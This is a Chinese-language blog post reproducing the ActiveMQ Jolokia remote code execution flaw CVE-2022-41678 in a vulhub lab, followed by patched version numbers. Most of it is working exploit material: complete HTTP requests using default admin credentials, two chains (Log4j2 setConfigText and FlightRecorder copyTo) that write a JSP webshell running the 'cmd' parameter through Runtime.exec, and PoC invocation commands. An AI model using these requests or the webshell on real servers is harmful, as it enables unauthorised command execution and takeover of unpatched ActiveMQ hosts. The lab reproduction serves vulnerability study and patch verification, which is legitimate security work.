ActiveMQ Jolokia 代码执行漏洞(CVE-2022-41678)复现

天猫来下凡2023-12-06 2:02

ActiveMQ Jolokia 后台代码执行漏洞(CVE-2022-41678)复现

1.漏洞描述

ActiveMQ是一个开源的消息代理和集成模式服务器，它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目，用于实现消息中间件，帮助不同的应用程序或系统之间进行通信。

ActiveMQ后台存在Jolokia 代码执行漏洞,在ActiveMQ中，经过身份验证的远程攻击者下可通过/api/jolokia/接口操作MBean，成功利用此漏洞可导致远程代码执行

影响版本

Apache ActiveMQ < 5.16.6

5.17.0< Apache ActiveMQ < 5.17.4

2.漏洞复现

https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2022-41678

复制代码 
docker compose up -d

服务启动后，访问http://your-ip:8161/后输入账号密码admin和admin，即可成功登录后台。

2.1 方法一

第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean，这是由Log4j2提供的一个MBean。

攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置，进而将日志文件写入任意目录中。

总共4个数据包，第一步访问，获取到MBean值，此处需要加入Origin值，Authorization值为admin:admin的base64加密值

复制代码 
/api/jolokia/list

如果GET访问失败可以POST访问

第2步访问,此处的mbean在第一步获取到,此处xml文件需要进行转义

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 1944
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "org.apache.logging.log4j2:type=6ddf90b0", "operation": "setConfigText", "arguments": ["xml", "utf-8"]}

xml为POC中的evil_template内容，此处出现"status":200，就可以证明漏洞存在

第3步进行注入

复制代码 
GET /api/jolokia/version HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla ||| <% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %> |||
Origin: http://192.168.2.133:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

第4步和第2步类似，xml文件内容替换成POC中original_template内容

到此处，shell.jsp已经写入，访问进行命令执行

http://192.168.2.131:8161/admin/shell.jsp?cmd=id

POC执行命令：

复制代码 
python poc.py -u admin -p admin http://192.168.2.133:8161

2.2 方法二

主要问题出在FlightRecorder这个Mbean，漏洞思路是通过setConfiguration修改配置，录制完成后，通过copyTo导出到web目录即可。

第1步一样访问，获取mbean值

复制代码 
/api/jolokia/list

第2步如下，进行新增记录newRecording，获取value值

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 113
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "newRecording", "arguments": []}

第3步一样，更改配置文件信息，xml为poc中的record_template值

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 33032
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "setConfiguration", "arguments": [2,"xml" ]

第4步，开始录制

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 116
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "startRecording", "arguments": [2]}

第5步，结束录制

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 115
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "stopRecording", "arguments": [2]}

最后导出到web目录下

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 138
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "copyTo", "arguments": [2, "webapps/admin/shelljfr.jsp"]}

Webshell被写入在/admin/shelljfr.jsp文件中：

对应POC命令

复制代码 
python poc.py -u admin -p admin --exploit jfr http://localhost:8161

3.漏洞修复

安全更新

官方已推出安全更新，受影响用户可升级到以下版本：

Apache ActiveMQ >= 5.17.4

Apache ActiveMQ >= 5.16.6

缓解措施

相关推荐
Andya_net4 小时前
网络安全 | 深入了解OAuth 2.0原理
安全·web安全·github
半个西瓜.4 小时前
车联网安全：调试接口安全测试.
网络·安全·web安全·网络安全·车载系统
黄焖鸡能干四碗9 小时前
网络安全态势报告，网络安全风险评估报告文档
大数据·网络·安全·web安全·信息可视化·需求分析
huangwxiao1 天前
ATT&CK红队评估一
web安全·内网安全·红日靶场
上海云盾安全满满1 天前
支付网站屡遭CC攻击，高防ip能防CC攻击吗
tcp/ip·安全·web安全
东方隐侠安全团队-千里1 天前
第13节 93年高能所被入侵，开启中国网络安全发展进程
网络·安全·web安全
belldeep1 天前
网络安全：SQL 注入：SQLmap
web安全·sql注入·sqlmap
P***25391 天前
免费的Web安全漏洞扫描，工具
安全·web安全
y***54881 天前
免费的Web安全测试工具，可以替代Burp Suite
安全·web安全
2301_780789661 天前
WAF如何应对金融领域的网络威胁和黑客攻击
服务器·网络·安全·web安全·金融
热门推荐
01GitHub 镜像站点02UV安装并设置国内源03BongoCat - 跨平台键盘猫动画工具04安娜的档案(Anna’s Archive) 镜像网站/国内最新可访问入口（持续更新）05Linux下V2Ray安装配置指南06jdk21下载、安装（Windows、Linux、macOS）07Labelme从安装到标注：零基础完整指南082025 最新教程：注册并切换到美区 Apple ID09综合整理：pdf预览显示：你尝试预览的文件可能对你的计算机有害。如果你信任此文件以及其来源，请打开此文件以看其内容，如何解决以正常预览文件10《大数据技术原理与应用》实验报告三 熟悉HBase常用操作